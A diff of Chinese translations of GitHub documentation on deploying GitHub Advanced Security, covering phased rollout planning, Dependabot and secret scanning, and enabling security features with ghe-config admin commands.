有关详细信息,请参阅“[管理存储库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)”或“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)” + +若要了解如何查看和关闭已签入存储库的机密警报,请参阅“[管理来自机密扫描的警报](/code-security/secret-scanning/managing-alerts-from-secret-scanning)”。 + +### 步骤 7:设置依赖项管理 + +GitHub 可帮助你避免使用包含已知漏洞的第三方软件。 我们提供了以下工具来更新易受攻击的依赖项{% ifversion GH-advisory-db-supports-malware %}并删除恶意软件{% endif %}。 + +| 依赖项管理工具 | 说明 | +|----|----| +| Dependabot 警报 | 当企业检测到不安全的依赖项时,你可以跟踪存储库的依赖项并接收 Dependabot 警报。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)”。 | +| 依赖项关系图 | 依赖项图是存储在仓库中的清单和锁定文件的摘要。 它显示您的代码库所依赖的生态系统和软件包(其依赖项)以及依赖于您的项目的仓库和包(其从属项)。 有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 |{% ifversion ghes or ghec %} +| 依赖项审查 | 如果拉取请求包含对依赖项的更改,您可以查看已更改内容摘要以及任何依赖项中是否存在已知漏洞。 有关详细信息,请参阅“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)”或“[拉取请求中的依赖项更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。 | {% endif %} {% ifversion ghec or ghes > 3.2 %} +| Dependabot 安全更新 | Dependabot 可以通过使用安全更新提出拉取请求来修复易受攻击的依赖项。 有关详细信息,请参阅“[关于 Dependabot 安全更新](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)”。 | +| Dependabot 版本更新 | 可使用 Dependabot 将所用的包更新到最新版本。 有关详细信息,请参阅“[关于 Dependabot 版本更新](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)”。 | {% endif %} + +{% data reusables.dependabot.beta-security-and-version-updates-onboarding %} + +### 步骤 8:建立修正过程 + +一旦团队能够运行扫描、识别漏洞和依赖项并可使用每个安全功能的结果,下一步就是确保他们可以在不涉及安全团队的情况下修复在正常开发过程中发现的漏洞。 + +这意味着开发团队了解如何在整个开发过程中利用 GHAS 功能,且可在其正常开发工作流中运行扫描、读取报告、使用结果以及修复漏洞,而无需在开发结束时设置单独的安全阶段或让安全团队参与以了解报告/结果。 + +### 步骤 9:根据需要设置自定义分析 + +当所需的自定义 CodeQL 查询超出可用的默认(和社区)查询集时,自定义分析是对代码扫描的一种可选的、更深入的使用。 很少需要自定义查询。 + +自定义查询用于识别自定义安全警报,或通过检测某些代码模式来帮助开发人员遵循编码标准。 + +如果你的公司对编写自定义 CodeQL 查询感兴趣,则你的公司应满足某些要求。 + +如果你的团队可以提供一些你想要通过 CodeQL 找到的现有漏洞的示例,请告知 GitHub 团队,我们可以安排一个介绍性会议以回顾该语言的基础知识并讨论如何解决你的问题。 如果你想更深入地了解 CodeQL,那么我们会提供额外的参与选项来涵盖更多主题,从而使你的团队能够生成自己的查询。 + +你可以在 [CodeQL 文档](https://codeql.github.com/docs/codeql-overview/)中详细了解 [CodeQL 查询](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/),也可以联系 {% data variables.product.prodname_professional_services %} 团队或销售代表。 + +### 步骤 10:创建并维护文档 + +在整个试点阶段,必须要创建和维护在公司内部进行的基础结构和过程更改的高质量内部文档,以及团队在整个推出和实现过程进展中从试点过程和配置更改中吸取的经验教训。 + +如果你拥有全面且完整的文档,这有助于使推出的其余阶段更像是一个可重复的过程。 +出色的文档还可以确保新团队可以在整个推出过程中始终如一地加入进来,并且随着新的团队成员加入你的团队。 + +当推出和实现完成时,出色的文档并不会结束。 最有用的文档会随着团队增长他们使用 GHAS 的经验及其需求增长而积极地更新和发展。 + +除了文档之外,建议公司为团队提供明确的通道,以便在整个推出、实现和其他过程中获得支持和指导。 根据公司为支持 GHAS 的推出和实现而需要进行的更改级别,拥有得到良好支持的团队将有助于确保成功地采用开发团队的日常工作流。 + +## {% octicon "milestone" aria-label="The milestone icon" %} 第 2 阶段:组织支持和推出准备 + +{% note %} + +{% octicon "clock" aria-label="Clock" %} **预计时间:** 预计第 2 阶段可能会持续约 1 周 - 1 个月以上。 此范围可能主要取决于公司的内部审批流程。 + +{% endnote %} + +此阶段的主要目标之一是确保具有组织的支持,以使 GHAS 的全面部署获得成功。 + +在此阶段,你的公司会审查试点项目的结果,以确定试点是否成功、可能需要做出哪些调整以及公司是否已准备好继续推出。 + +根据你公司的审批过程,可能需要来自执行发起人的组织支持才能继续推进。 在大多数情况下,必须要有来自团队的组织支持才能开始为公司利用 GHAS 的价值。 + +在进入在公司中更广泛地推出 GHAS 这一下一阶段之前,通常会根据从试点得到的经验对最初的推出计划进行修改。 + +还应进行任何可能影响文档的更改,以确保它是最新的,以便继续推出。 + +另外建议考虑培训将在推出的下一阶段引入 GHAS 的任何团队或团队成员的计划(如果尚未推出)。 + +### 步骤 1:组织结果 + +在第 1 阶段完成时,团队应已在 {% data variables.product.prodname_ghe_server %} 实例上启用了 {% ifversion ghes %} GHAS 并且 {% endif %} 能够成功利用 GHAS 的所有关键功能,这可能会通过一些配置更改来优化结果。 如果你的公司在第 0 阶段明确定义了成功指标,你应能够根据这些指标进行度量,以确定试点是否成功。 + +在准备结果时,必须要重新审视基准指标,以确保可以根据从试点收集到的指标与原始业务目标演示增量式进度。 如需有关此信息的帮助,GitHub 可有助于确保你的公司拥有用于度量进度的正确指标。 有关可用帮助的详细信息,请参阅“[GitHub 服务和支持](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)”。 + +### 步骤 2:保护组织支持 + +组织支持会因各种因素而异,包括公司的规模、审批过程,甚至是推出 GHAS 所需的更改级别等等。 + +对于一些公司来说,获得支持是一个一次性的会议,但对于其他公司来说,该过程可能需要相当长的一段时间(可能是几周或几个月)。 支持可能需要来自执行发起人的批准,或者可能需要在团队的日常工作流中采用 GHAS。 + +此阶段的持续时间完全取决于公司和所需的进展速度。 建议尽可能从 GitHub 获取支持或服务,以帮助回答问题并提供任何可能需要的建议来帮助支持此过程。 有关可用帮助的详细信息,请参阅“[GitHub 服务和支持](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)”。 + +### 步骤 3:修订和更新文档 + +查看试点项目的结果和发现以及公司其他团队的需求。 根据发现和需求分析,更新/修订文档。 + +我们发现,在继续向公司的其他团队推出之前,必须确保文档是最新文档。 + +### 步骤 4:为你的公司准备全面推出计划 + +根据从试点项目中学到的经验教训,更新在第 0 阶段设计的推出计划。 若要准备向公司推出,请考虑团队需要的任何培训,例如使用 GHAS 提供培训、过程更改或迁移培训(如果企业正在迁移到 GitHub)。 + +## {% octicon "milestone" aria-label="The milestone icon" %} 第 3 阶段:完整的组织推出和变更管理 + +{% note %} + +{% octicon "clock" aria-label="Clock" %} **预计时间:** 预计第 3 阶段可能会持续约 2 周到数月不等。 此范围可能主要取决于公司的规模、存储库/团队的数量、GHAS 推出对公司的更改级别等。 + +{% endnote %} + +一旦公司与试点项目的结果和发现保持一致,并且第 2 阶段的所有推出准备步骤均已完成,就可以根据计划向公司进行全面推出了。 + +### 步骤 1:在推出时评估推出 + +如果使用的是分阶段方法来推出 GHAS,建议在将 GHAS 推出到公司的其他团队后稍作停顿并完成简短的评估,以确保推出顺利进行。 评估可以确保团队得到适当的启用和培训,满足任何独特的 GHAS 配置需求,并且可以根据需要调整计划和文档。 + +### 步骤 2:设置任何所需的训练 + +当将 GHAS 推出到试点项目团队以外的任何团队时,务必要确保团队接受过培训或拥有可用的培训资源,以便在需要时提供额外的支持。 + +以下是我们认为公司需要进一步支持的主要领域: + - 针对 GHAS 提供培训 + - 针对不熟悉 GitHub 的客户提供培训 + - 关于如何迁移到 GitHub 的培训 + +{% data variables.product.prodname_professional_services_team %} 团队提供了各种培训服务、集训营和一般性建议,以帮助在整个推出和实现过程中为你的团队提供支持。 有关详细信息,请参阅“[GitHub 服务和支持](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)”。 + +为了帮助为你的团队提供支持,以下是相关 GitHub 文档的概述。 + +有关如何启用 GHAS 的文档,请参阅: + - [启用高级安全功能](/get-started/learning-about-github/about-github-advanced-security) + - [管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization) + - [管理存储库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) + +有关如何迁移到 GitHub 的文档,请参阅: + - [将源代码导入 GitHub](/github/importing-your-projects-to-github/importing-source-code-to-github) + +有关 GitHub 入门的文档,请参阅: + - [入门](/get-started) + +### 步骤 3:帮助公司管理更改 + +在第 2 阶段的步骤 4 中,建议根据从试点项目中获得的经验教训来更新初始推出计划。 确保在实现任何必要的组织更改时继续更新计划,以便成功地将 GHAS 推出到公司。 + +成功的 GHAS 推出和在日常工作流中采用最佳做法取决于确保团队了解必须在其工作中包含安全性的原因。 + +### 步骤 4:继续自定义 + +GHAS 的配置和自定义在公司的企业中推出后并不完整。 随着时间的推移,应继续进行进一步的自定义配置更改,以确保 GHAS 继续支持公司不断变化的需求。 + +随着时间的推移,团队在 GHAS 方面变得更有经验和熟练,这将为进一步自定义创造更多机会。 diff --git a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md index 73832aee06..77a6ba89ee 100644 --- a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Enabling GitHub Advanced Security for your enterprise +title: 为企业启用 GitHub 高级安全性 shortTitle: Enabling GitHub Advanced Security -intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.' +intro: '可配置 {% data variables.product.product_name %} 以包括 {% data variables.product.prodname_GH_advanced_security %}。 这将提供额外的功能,帮助用户发现和修复其代码中的安全问题。' product: '{% data reusables.gated-features.ghas %}' redirect_from: - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise @@ -14,79 +14,72 @@ topics: - Enterprise - Secret scanning - Security +ms.openlocfilehash: bc516af0c0788eeafe1b833c5627e471982e1c05 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147876035' --- - -## About enabling {% data variables.product.prodname_GH_advanced_security %} +## 关于启用 {% data variables.product.prodname_GH_advanced_security %} {% data reusables.advanced-security.ghas-helps-developers %} -{% ifversion ghes %} -When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." -{% else %} -When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. +{% ifversion ghes %} 为企业启用 {% data variables.product.prodname_GH_advanced_security %} 后,所有组织的存储库管理员都可以启用这些功能,除非你设置了限制访问的策略。 有关详细信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_advanced_security %} 策略](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)”。 +{% else %} 为企业启用 {% data variables.product.prodname_GH_advanced_security %} 后,所有组织的存储库管理员都可以启用这些功能。 {% endif %} + +{% ifversion ghes %} 有关 GitHub 高级安全分阶段部署的指南,请参阅“[大规模采用 GitHub 高级安全简介](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)”。 {% endif %} -{% ifversion ghes %} -For guidance on a phased deployment of GitHub Advanced Security, see "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)." -{% endif %} +## 检查您的许可是否包含 {% data variables.product.prodname_GH_advanced_security %} -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} +{% ifversion ghes %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} +1. 如果您的许可包括 {% data variables.product.prodname_GH_advanced_security %},则许可页面将包括显示当前使用情况详细信息的部分。 +![企业许可证的 {% data variables.product.prodname_GH_advanced_security %} 部分](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) {% endif %} -{% ifversion ghes %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. -![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) -{% endif %} +## 启用 {% data variables.product.prodname_GH_advanced_security %} 的前提条件 -## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} +1. 升级 {% data variables.product.product_name %} 的许可证,以包含 {% data variables.product.prodname_GH_advanced_security %}。{% ifversion ghes %}有关许可的信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”。{% endif %} +2. 下载新的许可文件。 有关详细信息,请参阅“[下载 {% data variables.product.prodname_enterprise %} 的许可证](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)”。 +3. 将新许可文件上传到 {% data variables.product.product_location %}。 有关详细信息,请参阅“[将新许可证上传到 {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)”。{% ifversion ghes %} +4. 审查您计划启用的功能的先决条件。 -1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} -2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." -3. Upload the new license file to {% data variables.location.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} -4. Review the prerequisites for the features you plan to enable. + - {% data variables.product.prodname_code_scanning_capc %},请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)”。 + - {% data variables.product.prodname_secret_scanning_caps %},请参阅“[为设备配置 {% data variables.product.prodname_secret_scanning %}](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)”。{% endif %} + - {% data variables.product.prodname_dependabot %},请参阅“[为企业启用 {% data variables.product.prodname_dependabot %}](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)”。 - - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." - - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} - - {% data variables.product.prodname_dependabot %}, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." - -## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features +## 启用和禁用 {% data variables.product.prodname_GH_advanced_security %} 功能 {% data reusables.enterprise_management_console.enable-disable-security-features %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} -1. Under "Security," select the features that you want to enable and deselect any features you want to disable. -{% ifversion ghes %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} -1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**. -![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} +1. 在“安全”下,选择要启用的功能,取消选择要禁用的任何功能。 +{% ifversion ghes %}![用于启用或禁用 {% data variables.product.prodname_advanced_security %} 功能的复选框](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![用于启用或禁用 {% data variables.product.prodname_advanced_security %} 功能的复选框](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} +1. 在“{% data variables.product.prodname_advanced_security %}”下,单击“{% data variables.product.prodname_code_scanning_capc %}”。 +![用于启用或禁用 {% data variables.product.prodname_code_scanning %} 的复选框](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} {% data reusables.enterprise_management_console.save-settings %} -When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)." +当 {% data variables.product.product_name %} 完成重启后,您可以设置新启用功能所需的任何额外资源。 有关详细信息,请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance)”。 -## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) +## 通过管理 shell (SSH) 启用或禁用 {% data variables.product.prodname_GH_advanced_security %} 功能 -You can enable or disable features programmatically on {% data variables.location.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)." +您可以通过编程方式在 {% data variables.product.product_location %} 上启用或禁用功能。 有关 {% data variables.product.prodname_ghe_server %} 的管理 shell 和命令行实用程序的详细信息,请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”和“[命令行实用程序](/admin/configuration/command-line-utilities#ghe-config)”。 -For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. +例如,当您部署用于暂存或灾难恢复的实例时,可以使用基础架构即代码工具启用任何 {% data variables.product.prodname_GH_advanced_security %}。 -1. SSH into {% data variables.location.product_location %}. -1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. +1. 通过 SSH 连接到 {% data variables.product.product_location %}。 +1. 启用 {% data variables.product.prodname_GH_advanced_security %} 的功能。 - - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands. + - 要启用 {% data variables.product.prodname_code_scanning_capc %},请输入以下命令。 ```shell ghe-config app.minio.enabled true ghe-config app.code-scanning.enabled true ``` - - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command. + - 要启用 {% data variables.product.prodname_secret_scanning_caps %},请输入以下命令。 ```shell ghe-config app.secret-scanning.enabled true ``` - - To enable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}. - {% ifversion ghes %}```shell - ghe-config app.dependency-graph.enabled true + - 若要启用依赖项关系图,请输入以下{% ifversion ghes %}命令{% else %}命令{% endif %}。 + {% ifversion ghes %}```shell ghe-config app.dependency-graph.enabled true ``` {% else %}```shell ghe-config app.github.dependency-graph-enabled true @@ -99,13 +92,12 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s ghe-config app.minio.enabled false ghe-config app.code-scanning.enabled false ``` - - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command. + - 要禁用 {% data variables.product.prodname_secret_scanning %},请输入以下命令。 ```shell ghe-config app.secret-scanning.enabled false ``` - - To disable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}. - {% ifversion ghes %}```shell - ghe-config app.dependency-graph.enabled false + - 若要禁用依赖项关系图,请输入以下{% ifversion ghes %}命令{% else %}命令{% endif %}。 + {% ifversion ghes %}```shell ghe-config app.dependency-graph.enabled false ``` {% else %}```shell ghe-config app.github.dependency-graph-enabled false diff --git a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md new file mode 100644 index 0000000000..f46d09320e --- /dev/null +++ b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md @@ -0,0 +1,272 @@ +--- +title: GitHub 高级安全功能部署概述 +intro: 通过查看和了解这些最佳做法、推出示例和经企业测试的分阶段方法,帮助公司成功准备采用 {% data variables.product.prodname_GH_advanced_security %} (GHAS)。 +product: '{% data variables.product.prodname_GH_advanced_security %} is a set of security features designed to make enterprise code more secure. It is available for {% data variables.product.prodname_ghe_server %} 3.0 or higher, {% data variables.product.prodname_ghe_cloud %}, and open source repositories. To learn more about the features, included in {% data variables.product.prodname_GH_advanced_security %}, see "[About GitHub Advanced Security](/get-started/learning-about-github/about-github-advanced-security)."' +redirect_from: +- /admin/advanced-security/overview-of-github-advanced-security-deployment +miniTocMaxHeadingLevel: 3 +versions: + ghes: '*' + ghec: '*' +type: how_to +topics: +- Advanced Security +- Code scanning +- Enterprise +- Security +ms.openlocfilehash: 9c58cc8cca76a19ccc1aa36770e4cafcf4c9fcc7 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100106" +--- +{% data variables.product.prodname_GH_advanced_security %} (GHAS) 使用 CodeQL(世界上最先进的语义代码分析引擎)等集成工具帮助团队更快地构建更安全的代码。 GHAS 是一套工具,需要整个企业的开发人员积极参与。 若要实现最佳投资回报,你必须了解如何使用、应用和维护 GHAS 来真正保护代码。 + +在处理公司新软件时面临的最大挑战之一可能是推出和实现过程,以及引起文化变革,以推动成功推出所需的组织支持。 + +为了帮助公司更好地了解和准备使用 GHAS 的此过程,本概述旨在: + - 概述针对公司的 GHAS 推出的外观。 + - 帮助你为公司的推出做好准备。 + - 分享关键的最佳做法,以便帮助提高公司的推出成功率。 + +若要了解通过 {% data variables.product.prodname_GH_advanced_security %} 提供的安全功能,请参阅“[{% data variables.product.prodname_dotcom %} 安全功能](/code-security/getting-started/github-security-features)”。 + +## 针对 GHAS 推出的推荐分阶段方法 + +我们已创建针对通过行业和 GitHub 最佳做法开发的 GHAS 推出的分阶段方法。 你可以与 {% data variables.product.prodname_professional_services %} 合作或独立使用此方法进行推出。 + +虽然建议采用分阶段方法,但可以根据公司的需求进行调整。 我们还建议创建并遵守推出和实现的时间线。 在你开始规划时,我们可以共同确定最适合你的公司的理想方法和时间线。 + +![该图显示了 GitHub 高级安全功能推出和部署的三个阶段,包括第 0 阶段:规划和启动,第 1 阶段:试点项目,第 2 阶段:面向早期采用者的组织支持和推出,以及第 3 阶段:完整的组织推出和变更管理](/assets/images/enterprise/security/advanced-security-phased-approach-diagram.png) + + +根据我们帮助客户成功部署 {% data variables.product.prodname_GH_advanced_security %} 的经验,预计大多数客户都需要遵循这些阶段。 根据公司的需要,可能需要修改此方法并更改或删除某些阶段或步骤。 + +有关实现每个阶段的详细指南,请参阅“[在企业中部署 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)”。 下一部分将大致介绍其中每个阶段。 + +### {% octicon "milestone" aria-label="The milestone icon" %} 第 0 阶段:规划和启动 + +在此阶段,总体目标是规划和准备推出,确保人员、过程和技术到位并为推出做好准备。 你还应该考虑将使用哪些成功标准来度量团队中的 GHAS 采用和使用情况。 + +### {% octicon "milestone" aria-label="The milestone icon" %} 第 1 阶段:试点项目 + +若要开始实现 GHAS,建议从一些具有较大影响力的项目/团队开始,以便进行试点初始推出。 这将使公司内的初始组能够熟悉 GHAS,了解如何启用和配置 GHAS,并基于 GHAS 打好坚实的基础,然后再推出到公司的其他团队。 + +### {% octicon "milestone" aria-label="The milestone icon" %} 第 2 阶段:组织支持和推出准备 + +第 2 阶段是对先前各阶段的回顾,并为在公司其他团队进行更大规模的推出做好准备。 在此阶段,组织支持可以指公司在试点项目之后继续前进的决定,或者随着时间的推移公司使用和采用 GHAS 的情况(这是最常见的)。 如果随着时间的推移公司决定采用 GHAS,那么第 2 阶段可以继续到第 3 阶段及后续阶段。 + +### {% octicon "milestone" aria-label="The milestone icon" %} 第 3 阶段:完整的组织推出和变更管理 + +公司内达成一致后,你就可以基于推出计划开始将 GHAS 推出到公司的其他团队。 在此阶段,确保已针对在 GHAS 推出过程中可能需要进行的任何组织更改制定计划,并确保团队了解更改对当前工作流的需求、价值和影响,这一点至关重要。 + +## 成功推出 GHAS 的最佳做法 + +我们发现,已经成功推出 GHAS 的公司具有几个有助于推动其成功的相似特征。 若要帮助公司提高 GHAS 推出的成功率,请查看这些最佳做法。 + +### {% octicon "checklist" aria-label="The checklist icon" %} 为公司的推出设定明确目标 + +设定目标似乎是显而易见的,但我们确实看到一些公司在开始推出 GHAS 时没有考虑到明确的目标。 对于这些公司来说,更难获得真正的组织支持,而这是完成推出过程并在公司内部实现 GHAS 价值所必需的。 + +当你开始规划推出和实现时,请开始在公司内部概述 GHAS 的目标,并确保将这些目标传达给你的团队。 只要有一个起点且一致,你的目标就可以非常详细,也可以很简单。 这将有助于为公司的推出方向奠定基础,并且可以帮助你制定实现该目标的计划。 如果在实现目标方面需要帮助,{% data variables.product.prodname_professional_services %} 可根据公司经验和之前与其他客户的互动帮助提供建议。 + +以下是一些关于推出 GHAS 的目标的高级示例: + - **减少漏洞数量:** 这可能是一般情况,也可能是因为你的公司最近受到了重大漏洞的影响,你认为该漏洞本可以通过 GHAS 等工具加以阻止。 + - **识别高风险存储库:** 一些公司可能只想针对包含最大风险的存储库,准备开始修复漏洞并降低风险。 + - **提高修正率:** 这可以通过推动开发人员采用调查结果,并确保及时修正这些漏洞,防止安全债务的积累来实现。 + - **满足合规性要求:** 这可以像创建新的合规性要求或更具体的要求一样简单。 我们发现许多医疗保健公司都使用 GHAS 来防止 PHI(个人健康信息)泄露。 + - **防止机密泄露:** 这通常是那些已经有(或想要防止)关键信息(如软件密钥、客户或财务数据等)泄露的公司的目标。 + - **依赖项管理:** 这通常是那些可能由于未修补依赖项而遭到黑客攻击成为受害者的公司的目标,或者那些试图通过更新易受攻击的依赖项来防止此类攻击的公司的目标。 + +### {% octicon "checklist" aria-label="The checklist icon" %} 在团队之间进行清晰有效的沟通和达成一致性 + +对于任何项目的成功,进行清晰有效的沟通和达成一致性至关重要,GHAS 的推出也不例外。 我们发现,从购买 GHAS 到推出这一过程中,在其安全组和开发组以及执行发起人(CISO 或 VP)之间进行清晰有效的沟通和达成一致性的公司,通常会在推出时取得更大的成功。 + +除了确保这些组在 GHAS 推出过程中保持一致之外,还建议你重点关注一些特定领域。 + +#### 推出计划 + +如何向公司推出 GHAS? 可能会有很多想法和意见。 在继续之前,你应该考虑回答和调整以下问题: + - 试点中将包括哪些团队? + - 试点重点关注哪些项目? + - 项目应该如何优先推出? + - 打算如何度量试点及以后是否成功? + - 团队将进行的每日更改级别是什么? 这将如何传达? + - 如何在整个公司内传达推出计划? + - 你打算如何训练团队? + - 最初打算如何管理扫描结果? (有关详细信息,请参阅下一部分“处理结果”) + +#### 处理结果 + +在将 GHAS 推出到团队之前,应该对随着时间的推移如何管理结果有明确的一致性。 建议首先将结果视为更具参考性和非阻塞性的结果。 公司很可能拥有完整的 CI/CD 管道,因此建议使用此方法以避免阻止公司的过程。 当你习惯了处理这些结果后,就可以逐步将限制级别提高到对公司感觉更准确的程度。 + +### {% octicon "checklist" aria-label="The checklist icon" %} 通过安全组和开发组领导推出 + +许多公司通过其安全组领导 GHAS 推出工作。 通常,在试点结束之前,开发团队不会被包括在推出过程中。 然而,我们发现,通过安全和开发团队领导推出的公司往往会在 GHAS 推出方面取得更大的成功。 + +为什么? GHAS 通过无缝集成到开发人员工作流中来采用以开发人员为中心的软件安全方法。 在此过程的早期没有来自开发组的关键表示形式会增加推出的风险,并且会针对组织支持创建一条艰难的路径。 + +当开发组较早参与时(最好是从购买开始),安全组和开发组可以在过程的早期实现一致性。 